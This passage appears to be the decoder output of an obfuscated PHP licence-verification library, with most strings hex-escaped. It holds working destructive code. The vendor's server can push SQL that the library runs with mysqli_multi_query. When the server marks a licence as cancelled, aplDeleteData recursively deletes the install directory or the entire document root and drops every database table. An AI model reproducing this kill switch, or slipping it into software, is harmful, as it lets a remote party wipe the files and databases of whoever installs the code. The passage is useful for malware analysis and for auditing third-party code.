if (!($notifications_array["\x6e\157\164\x69\x66\x69\x63\x61\164\151\x6f\x6e\137\x63\141\x73\145"] == "\x6e\x6f\x74\151\x66\151\143\x61\164\151\157\x6e\137\154\x69\x63\x65\x6e\x73\x65\137\x6f\x6b"))
{
goto bxEog;
}
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\55\155\55\x64"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL); $LCD = aplCustomEncrypt(date("\x59\55\155\x2d\144", strtotime("\x2d" . APL_DAYS . "\x20\144\x61\171\x73")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("\x59\x2d\x6d\x2d\144"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "\104\101\124\101\x42\101\x53\105"))
{
goto J0mRB;
}
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\x70\x6c\137\x63\x61\x6c\x6c\x62\x61\143\x6b\x73\x2f\x6c\x69\x63\145\156\163\145\x5f\163\143\150\145\x6d\x65\56\x70\150\160", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!(!empty($notifications_array["\x6e\x6f\x74\x69\x66\151\143\141\x74\151\x6f\156\x5f\x64\x61\164\x61"]) && !empty($notifications_array["\x6e\157\x74\151\146\151\x63\x61\x74\151\x6f\156\137\144\x61\x74\x61"]["\x73\143\150\145\155\145\x5f\161\165\145\x72\x79"])))
{
goto ijPWC;
}
$mysql_bad_array = array("\x25\x41\x50\x4c\137\104\101\124\x41\x42\x41\x53\x45\137\124\x41\x42\x4c\x45\45", "\x25\x52\x4f\117\x54\137\x55\x52\x4c\x25", "\45\103\114\111\x45\x4e\124\137\x45\115\101\x49\x4c\45", "\x25\x4c\x49\103\105\x4e\123\x45\137\x43\117\x44\105\45", "\45\x4c\x43\104\45", "\x25\114\x52\104\x25", "\45\111\116\123\x54\101\x4c\x4c\101\124\x49\x4f\116\137\113\x45\x59\x25", "\45\x49\x4e\x53\124\x41\x4c\114\x41\124\111\x4f\x4e\x5f\x48\101\123\x48\45");
$mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH);
$license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["\156\157\x74\x69\x66\151\143\141\x74\x69\157\156\137\x64\141\x74\x61"]["\163\x63\150\145\x6d\x65\x5f\161\165\x65\162\171"]);
mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK));
ijPWC:
J0mRB:
if (!(APL_STORAGE == "\106\x49\114\x45"))
{
goto YjDjf;
}
$handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\x77\53");
$fwrite = @fwrite($handle, "\74\122\x4f\117\124\137\x55\122\x4c\76{$ROOT_URL}\x3c\57\x52\x4f\117\x54\137\125\122\x4c\x3e\x3c\x43\x4c\111\105\x4e\124\x5f\x45\x4d\x41\x49\114\x3e{$CLIENT_EMAIL}\74\57\x43\x4c\111\x45\x4e\x54\x5f\105\x4d\101\x49\114\76\74\114\111\x43\105\116\x53\105\x5f\103\x4f\104\x45\76{$LICENSE_CODE}\x3c\x2f\x4c\111\x43\105\116\123\x45\x5f\103\117\x44\105\76\x3c\114\x43\x44\x3e{$LCD}\74\x2f\114\x43\x44\x3e\x3c\114\x52\104\x3e{$LRD}\74\x2f\x4c\122\x44\x3e\74\111\x4e\123\x54\101\114\x4c\101\x54\111\117\116\137\x4b\x45\x59\76{$INSTALLATION_KEY}\x3c\x2f\111\x4e\x53\x54\x41\x4c\114\101\124\x49\117\116\137\x4b\105\x59\x3e\74\111\x4e\x53\x54\x41\x4c\x4c\101\x54\111\x4f\x4e\137\x48\x41\x53\110\x3e{$INSTALLATION_HASH}\x3c\57\x49\x4e\123\x54\x41\x4c\x4c\101\x54\x49\x4f\x4e\137\110\101\x53\110\x3e");
if (!($fwrite === false))
{
goto j5jli;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
j5jli:
@fclose($handle);
YjDjf:
bxEog:
goto AMSMx;
yhMbn:
$notifications_array["\156\x6f\164\151\146\x69\x63\x61\164\151\x6f\156\x5f\143\141\x73\x65"] = "\156\x6f\164\151\x66\x69\x63\x61\x74\x69\157\156\137\141\154\x72\145\141\x64\171\x5f\151\156\163\x74\x61\154\154\145\x64";
$notifications_array["\x6e\157\164\151\146\151\143\x61\x74\151\157\156\x5f\164\x65\x78\x74"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
AMSMx:
go8oy:
return $notifications_array;
}
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
$notifications_array = array();
$update_lrd_value = 0;
$update_lcd_value = 0;
$updated_records = 0;
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto MGXq5;
}
$notifications_array["\x6e\157\164\x69\146\151\143\141\x74\x69\157\x6e\x5f\143\x61\x73\x65"] = "\x6e\x6f\164\151\x66\151\143\141\x74\x69\157\156\x5f\163\x63\162\x69\160\x74\x5f\x63\157\162\162\165\x70\x74\145\x64";
$notifications_array["\x6e\x6f\164\151\146\x69\x63\x61\164\x69\157\x6e\137\164\x65\170\x74"] = implode("\73\x20", $apl_core_notifications);
goto EyfI2;
MGXq5:
if (aplCheckData($MYSQLI_LINK))
{
goto xEna5;
}
$notifications_array["\x6e\x6f\x74\x69\146\151\x63\141\164\151\157\156\137\x63\141\x73\145"] = "\156\157\164\151\x66\151\143\141\164\151\x6f\x6e\x5f\154\x69\x63\145\156\163\x65\137\143\157\162\x72\165\x70\164\145\x64";
$notifications_array["\156\157\x74\x69\146\151\143\x61\x74\x69\x6f\x6e\137\x74\x65\170\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto gw0RY;
xEna5:
extract(aplGetLicenseData($MYSQLI_LINK));
if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("\x59\x2d\x6d\x2d\144")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("\131\x2d\155\x2d\x64") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("\x59\55\155\55\144") && $FORCE_VERIFICATION == 0)
{
goto BQ3t8;
}
$post_info = "\x70\x72\157\x64\x75\x63\164\x5f\x69\x64\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\154\x69\145\156\x74\x5f\145\x6d\141\x69\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\143\x65\156\163\x65\137\143\x6f\x64\x65\x3d" . rawurlencode($LICENSE_CODE) . "\x26\162\157\x6f\164\x5f\165\x72\x6c\75" . rawurlencode($ROOT_URL) . "\46\151\156\x73\164\141\x6c\x6c\x61\164\151\x6f\x6e\137\x68\x61\163\x68\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\x69\143\x65\x6e\163\x65\x5f\163\151\147\x6e\141\x74\165\x72\x65\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\x70\154\x5f\x63\x61\x6c\x6c\142\x61\x63\x6b\163\57\154\151\143\145\x6e\x73\145\x5f\166\x65\162\x69\x66\x79\56\x70\x68\160", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["\x6e\157\164\x69\x66\151\x63\x61\x74\x69\157\156\137\x63\x61\163\x65"] == "\156\x6f\164\x69\146\151\x63\141\164\x69\157\x6e\x5f\154\x69\143\x65\156\163\145\137\x6f\153"))
{
goto KCXic;
}
$update_lcd_value = 1;
KCXic:
if (!($notifications_array["\x6e\157\164\151\x66\151\x63\x61\x74\x69\x6f\156\137\143\x61\163\x65"] == "\156\x6f\164\151\146\x69\x63\141\x74\x69\157\x6e\x5f\154\151\x63\145\x6e\x73\145\137\143\x61\156\x63\x65\154\x6c\145\x64" && APL_DELETE_CANCELLED == "\131\x45\123"))
{
goto Rkqw4;
}
aplDeleteData($MYSQLI_LINK);
Rkqw4:
goto Pouqz;
BQ3t8:
$notifications_array["\x6e\157\x74\x69\x66\x69\x63\141\x74\151\157\156\137\143\x61\163\x65"] = "\156\x6f\x74\x69\146\x69\x63\141\164\151\157\x6e\x5f\x6c\151\143\x65\156\x73\x65\137\157\153";
$notifications_array["\x6e\x6f\x74\151\146\x69\143\x61\x74\x69\157\x6e\x5f\x74\x65\170\164"] = APL_NOTIFICATION_BYPASS_VERIFICATION;
Pouqz:
if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("\131\55\x6d\55\x64")))
{
goto TnRCE;
}
$update_lrd_value = 1;
TnRCE:
if (!($update_lrd_value == 1 || $update_lcd_value == 1))
{
goto SJAY0;
}
if ($update_lcd_value == 1)
{
goto D_jtc;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
goto Bit0T;
D_jtc:
$LCD = date("\x59\55\155\55\144");
Bit0T:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\x2d\x6d\55\144"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("\131\x2d\x6d\x2d\x64"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "\104\101\x54\101\102\101\x53\x45"))
{
goto jL9U1;
}
$stmt = mysqli_prepare($MYSQLI_LINK, "\x55\120\104\x41\x54\105\x20" . APL_DATABASE_TABLE . "\40\x53\x45\124\40\114\x43\104\75\77\54\40\x4c\122\x44\x3d\x3f\54\40\111\116\123\x54\101\x4c\114\x41\124\111\x4f\x4e\x5f\113\105\131\75\77");
if (!$stmt)
{
goto olOaP;
}
mysqli_stmt_bind_param($stmt, "\163\x73\163", $LCD, $LRD, $INSTALLATION_KEY);
$exec = mysqli_stmt_execute($stmt); $affected_rows = mysqli_stmt_affected_rows($stmt);
if (!($affected_rows > 0))
{
goto p_n3l;
}
$updated_records = $updated_records + $affected_rows;
p_n3l:
mysqli_stmt_close($stmt);
olOaP:
if (!($updated_records < 1))
{
goto jwe1L;
}
echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
exit;
jwe1L:
jL9U1:
if (!(APL_STORAGE == "\106\111\114\x45"))
{
goto GH7Bv;
}
$handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\167\x2b");
$fwrite = @fwrite($handle, "\74\x52\117\x4f\124\137\125\122\114\76{$ROOT_URL}\x3c\x2f\x52\x4f\x4f\x54\137\125\122\x4c\76\x3c\x43\114\111\105\x4e\x54\x5f\105\115\x41\x49\114\x3e{$CLIENT_EMAIL}\74\x2f\x43\114\111\105\x4e\x54\x5f\105\x4d\x41\111\114\76\x3c\114\x49\x43\x45\116\x53\x45\x5f\x43\x4f\x44\x45\x3e{$LICENSE_CODE}\74\x2f\114\x49\x43\105\x4e\x53\x45\137\x43\117\x44\105\76\74\114\x43\x44\x3e{$LCD}\74\57\x4c\x43\104\x3e\74\x4c\x52\x44\76{$LRD}\x3c\x2f\114\122\x44\x3e\74\x49\116\x53\124\x41\x4c\114\x41\x54\x49\x4f\x4e\x5f\x4b\x45\x59\76{$INSTALLATION_KEY}\x3c\x2f\x49\x4e\x53\x54\101\x4c\x4c\101\x54\x49\117\x4e\x5f\113\x45\131\76\x3c\111\116\x53\x54\x41\x4c\x4c\x41\x54\x49\117\116\137\110\x41\123\110\76{$INSTALLATION_HASH}\x3c\57\111\116\x53\x54\101\x4c\114\x41\124\x49\117\116\x5f\110\x41\123\110\x3e");
if (!($fwrite === false))
{
goto kkxiK;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
kkxiK:
@fclose($handle);
GH7Bv:
SJAY0:
gw0RY:
EyfI2:
return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto UQP1f;
}
$notifications_array["\156\x6f\164\x69\146\151\143\141\x74\151\x6f\x6e\137\x63\141\163\x65"] = "\x6e\157\164\151\x66\x69\143\x61\164\x69\157\156\137\x73\143\x72\x69\x70\x74\137\x63\157\x72\x72\165\160\164\x65\144";
$notifications_array["\x6e\x6f\x74\151\146\x69\x63\141\x74\151\157\156\137\164\x65\x78\x74"] = implode("\x3b\x20", $apl_core_notifications);
goto sRdO3;
UQP1f:
if (aplCheckData($MYSQLI_LINK))
{
goto xWq7M;
}
$notifications_array["\156\x6f\x74\151\x66\x69\x63\141\164\151\x6f\156\137\x63\141\x73\145"] = "\x6e\157\x74\x69\x66\x69\143\x61\164\151\x6f\156\x5f\154\x69\x63\145\156\163\x65\137\143\157\162\x72\x75\160\164\145\144";
$notifications_array["\x6e\x6f\164\151\146\x69\143\x61\x74\151\x6f\156\137\x74\145\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto PppAQ;
xWq7M:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\160\x72\x6f\144\165\143\164\137\151\144\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\154\151\x65\x6e\164\x5f\145\x6d\141\x69\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\x63\145\x6e\x73\x65\137\x63\x6f\x64\145\75" . rawurlencode($LICENSE_CODE) . "\46\x72\x6f\x6f\164\x5f\x75\162\x6c\x3d" . rawurlencode($ROOT_URL) . "\x26\x69\156\163\x74\x61\154\154\141\164\x69\x6f\156\137\150\141\163\150\75" . rawurlencode($INSTALLATION_HASH) . "\46\x6c\151\143\145\156\163\145\137\x73\151\147\156\x61\164\x75\162\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\160\x6c\137\x63\x61\154\x6c\x62\141\x63\x6b\163\57\x6c\151\143\145\x6e\163\x65\137\x73\165\160\x70\x6f\x72\164\x2e\x70\150\160", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
PppAQ:
sRdO3:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto pjSZP;
}
$notifications_array["\156\x6f\164\151\x66\x69\x63\141\164\151\x6f\156\137\x63\x61\x73\x65"] = "\156\157\164\x69\x66\x69\143\141\x74\x69\157\156\x5f\163\143\162\151\160\164\137\x63\x6f\162\162\165\160\x74\x65\144";
$notifications_array["\156\x6f\x74\x69\x66\151\x63\x61\164\151\157\156\137\164\x65\x78\164"] = implode("\73\40", $apl_core_notifications);
goto IKxPK;
pjSZP:
if (aplCheckData($MYSQLI_LINK))
{
goto gqRMZ;
}
$notifications_array["\x6e\x6f\x74\151\x66\151\143\x61\x74\x69\157\x6e\137\x63\141\163\145"] = "\156\x6f\x74\151\x66\151\143\x61\x74\151\x6f\x6e\x5f\x6c\151\143\145\x6e\163\145\x5f\x63\157\162\x72\165\x70\x74\x65\x64";
$notifications_array["\156\x6f\164\151\146\151\x63\141\x74\x69\x6f\156\137\x74\145\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto gF6Zs;
gqRMZ:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\x70\162\x6f\144\165\x63\164\137\x69\144\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\154\x69\x65\156\164\137\145\155\x61\151\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\x63\x65\x6e\x73\x65\x5f\143\x6f\144\x65\x3d" . rawurlencode($LICENSE_CODE) . "\46\x72\157\x6f\164\137\x75\162\154\75" . rawurlencode($ROOT_URL) . "\x26\151\x6e\x73\x74\x61\154\x6c\141\164\x69\x6f\x6e\x5f\150\141\163\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\x69\x63\145\x6e\x73\145\137\163\151\147\x6e\141\x74\x75\162\145\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\160\x6c\x5f\x63\x61\154\154\x62\141\143\x6b\x73\x2f\x6c\x69\x63\x65\x6e\x73\145\137\165\160\x64\x61\164\x65\x73\56\160\150\x70", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
gF6Zs:
IKxPK:
return $notifications_array;
}
function aplUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto tASuo;
}
$notifications_array["\156\x6f\x74\x69\x66\151\x63\141\164\x69\157\x6e\137\x63\141\163\145"] = "\156\x6f\x74\151\146\151\x63\x61\164\151\x6f\156\x5f\163\x63\x72\151\x70\x74\137\x63\x6f\162\x72\165\x70\164\145\144";
$notifications_array["\x6e\x6f\164\x69\x66\151\143\x61\164\151\x6f\x6e\x5f\164\x65\170\164"] = implode("\73\x20", $apl_core_notifications);
goto m4I_x;
tASuo:
if (aplCheckData($MYSQLI_LINK))
{
goto TSibm;
}
$notifications_array["\x6e\x6f\x74\151\x66\x69\143\x61\164\x69\x6f\x6e\137\143\x61\163\x65"] = "\x6e\157\164\151\x66\151\x63\141\164\151\157\156\x5f\x6c\151\143\145\x6e\x73\x65\x5f\x63\157\x72\162\x75\x70\164\145\x64";
$notifications_array["\156\157\164\x69\146\151\x63\x61\164\151\x6f\156\x5f\164\145\x78\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto ChgQz;
TSibm:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\x70\x72\157\144\165\143\164\x5f\151\144\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\x6c\x69\x65\156\164\x5f\x65\x6d\141\151\154\75" . rawurlencode($CLIENT_EMAIL) . "\46\x6c\x69\143\145\156\163\x65\137\x63\x6f\144\x65\x3d" . rawurlencode($LICENSE_CODE) . "\46\162\x6f\157\164\137\x75\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\x69\156\x73\x74\141\154\154\x61\164\151\157\156\137\150\141\x73\x68\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\x6c\x69\143\145\x6e\163\145\x5f\x73\151\x67\x6e\141\164\x75\x72\145\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\57\x61\160\x6c\x5f\143\x61\x6c\154\142\x61\143\x6b\x73\x2f\154\x69\x63\145\156\163\145\137\x75\x6e\151\156\x73\164\141\154\154\x2e\160\x68\x70", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["\x6e\157\164\151\146\151\143\141\164\x69\x6f\156\137\x63\141\163\145"] == "\156\157\x74\x69\146\151\x63\x61\164\151\x6f\x6e\137\154\151\143\145\156\163\x65\137\x6f\x6b"))
{
goto lu3tx;
}
if (!(APL_STORAGE == "\104\x41\x54\x41\x42\101\x53\105"))
{
goto cOnwt;
}
mysqli_query($MYSQLI_LINK, "\104\105\x4c\105\x54\105\40\106\x52\x4f\x4d\40" . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "\x44\122\117\x50\40\124\x41\102\x4c\x45\x20" . APL_DATABASE_TABLE);
cOnwt:
if (!(APL_STORAGE == "\106\x49\114\105"))
{
goto jCDHR;
}
$handle = @fopen(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION, "\167\53"); @fclose($handle);
jCDHR:
lu3tx:
ChgQz:
m4I_x:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "\x59\105\x53" && isset($_SERVER["\x44\x4f\x43\125\115\105\116\x54\x5f\122\x4f\x4f\x54"]))
{
goto bG0xX;
}
$root_directory = dirname(__DIR__);
goto iVoyk;
bG0xX:
$root_directory = $_SERVER["\104\x4f\103\125\x4d\x45\x4e\124\137\x52\117\x4f\124"];
iVoyk:
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path)
{
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
z9gBT:
}
wjx2O:
rmdir($root_directory);
if (!(APL_STORAGE == "\x44\101\x54\101\102\x41\x53\x45"))
{
goto WRE7D;
}
$database_tables_array = array();
$table_list_results = mysqli_query($MYSQLI_LINK, "\123\x48\x4f\x57\x20\124\x41\x42\114\x45\x53");
xjeEe:
if (!($table_list_row = mysqli_fetch_row($table_list_results)))
{
goto Wvu8M;
}
$database_tables_array[] = $table_list_row[0];
goto xjeEe;
Wvu8M:
if (empty($database_tables_array))
{
goto awUWl;
}
foreach ($database_tables_array as $table_name)
{
mysqli_query($MYSQLI_LINK, "\x44\x45\114\x45\x54\x45\x20\x46\x52\117\115\x20{$table_name}");
wEPIw:
}
yZ0CH:
foreach ($database_tables_array as $table_name)
{
mysqli_query($MYSQLI_LINK, "\x44\x52\117\120\x20\x54\x41\x42\114\105\40{$table_name}");
G1w0E:
}
OzxI2:
awUWl:
WRE7D:
exit;
}
Function Calls
None |
Stats
MD5 | ae7b547a94a858a5608a53fe980298ca |
Eval Count | 0 |
Decode Time | 97 ms |